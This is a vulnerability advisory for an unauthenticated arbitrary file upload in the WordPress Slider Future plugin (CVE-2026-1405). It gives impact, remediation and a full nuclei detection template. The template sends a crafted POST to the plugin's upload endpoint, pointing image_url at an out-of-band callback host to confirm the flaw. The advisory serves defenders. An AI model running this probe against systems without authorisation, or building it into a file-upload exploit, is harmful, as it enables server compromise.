CVE-2026-1405· CWE-434
WordPress Slider Future <= 1.0.5 - Unauthenticated Arbitrary File Upload
criticalseverity
9.8CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it
Slider Future WordPress plugin <= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.
Impact
Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
Fix
Update to a version later than 1.0.5 or the latest available version.
How to confirm it
Send: POST /wp-json/slider-future/v1/upload-image/
Positive when: contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns") and status_code == 200 and contains(content_type,"application/json") and contains_all(body,"url","wp-content")Run it with nuclei: nuclei -id CVE-2026-1405 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-1405
info:
name: WordPress Slider Future <= 1.0.5 - Unauthenticated Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
Slider Future WordPress plugin <= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.
remediation: |
Update to a version later than 1.0.5 or the latest available version.
impact:
Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-1405
epss-score: 0.0347
epss-percentile: 0.89174
cwe-id: CWE-434
tags: cve,cve2026,wordpress,wp-plugin,slider-future,file-upload,rce,oast,vkev
http:
- raw:
- |
POST /wp-json/slider-future/v1/upload-image/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"image_url":"http://{{interactsh-url}}"}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
- 'status_code == 200'
- 'contains(content_type,"application/json")'
- 'contains_all(body,"url","wp-content")'
condition: andUse this check only on systems you are authorised to test. Where the data comes from